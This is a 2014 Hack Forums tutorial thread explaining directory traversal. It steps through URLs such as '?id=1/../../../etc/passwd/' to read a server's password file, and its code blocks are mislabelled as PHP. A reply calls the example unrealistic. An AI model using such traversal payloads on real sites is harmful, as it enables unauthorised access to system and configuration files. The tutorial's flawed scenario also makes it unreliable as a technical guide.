

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Directory Traversal](#)

-zERaIT - November 20, 2014, 9:07 am

Directory Traversal

What is Directory Traversal?

Directory Traversal means traveling through directories, a directory can be a map on a webserver.

With a system vulnerable to directory traversal, an attacker can make use of this vulnerability to step out of the root directory and access other parts of the file system. This might give the attacker the ability to view restricted files (For example: config files, htaccess files, arbitrary files.), or even more dangerous, allowing the attacker to execute powerful commands on the web server which can lead to a full compromise of the system.

Depending on how the website access is set up, the attacker will execute commands by impersonating himself as the user which is associated with "the website". Therefore it all depends on what the website user has been given access to in the system.

An example of how it looks behind the scene:

PHP Code

```
<?php
\
bin
dev
etc
home
lib
opt/lamp/htdocs/site.com
sbin
usr
var
```

Our website is in the "opt/lamp/htdocs" section as you can see above.

You can switch through directories by using "../", the dot dot slash tells the website to go 1 directory up.

Example:

PHP Code

```
<?php
http://site.com/tutorial/attack/test
```

When putting a "../" behind the link you'll go 1 directory up.

PHP Code

```
<?php
http://site.com/tutorial/attack/test/..
```

Which means you'll see the content of

PHP Code

```
<?php
```

```
http://site.com/tutorial/attack
```

A Directory Traversal Attack

For example we'll take this site:

PHP Code

```
<?php
```

```
http://site.com/index.html?id=1
```

We're going to look for the "etc" directory cause it contains the "passwd" file and we are located in the "opt/lamp/htdocs/site.com" directory, which means we have to get back.

PHP Code

```
<?php
```

```
http://site.com/index.html?id=1/../
```

It does not show us the "etc" directory so we go further.

PHP Code

```
<?php
```

```
http://site.com/index.html?id=1/../../
```

This still doesn't show us the "etc" directory we are looking for.

PHP Code

```
<?php
```

```
http://site.com/index.html?id=1/../../../
```

Now we can see the "etc" directory and we want to enter it.

PHP Code

```
<?php
```

```
http://site.com/index.html?id=1/../../../etc/
```

You'll see the files / directories in here but we want to see the "passwd" file.

PHP Code

```
<?php
```

```
http://site.com/index.html?id=1/../../../etc/passwd/
```

Done, this will show us something similar as the screenshot below.

You can read my other tutorials by clicking below. [\[Tutorial\] Basic / Union based SQL Injection](#)

[\[Tutorial\] String Based SQL Injection](#)

[\[Tutorial\] MsSQL Injection](#)

[\[Tutorial\] Web Application Firewall \[WAF\]](#)

[\[Tutorial\] Server Side Include Injection \[SSI Injection\]](#)

[\[Tutorial\] XPath Injection \[ExtractValue\]](#)

[\[Tutorial\] Remote File Inclusion](#)

[\[Tutorial\] Directory Traversal](#)

Thats it for now, if you still have any questions related to Directory Traversal then feel free to hit me

up.

Thanks for viewing my thread.?

-Ladax

RK82 - November 20, 2014, 12:22 pm

Nice work man, keep posting this tuts!! love them.

ExplodingKnees - November 20, 2014, 3:34 pm

Note that this scenario is completely surreal, next to impossible. There's no logical progression what-so-ever at include(\$_GET)'ing an integer by number into a file stream and then echoing it out. Is the website actually including folders named 1, 2, 3? The absolute most of the time, a get parameter accepting an integer that goes by the name of "ID" is expected to use a DBMS, not an inclusion system.

6/10 for good effort, bad example.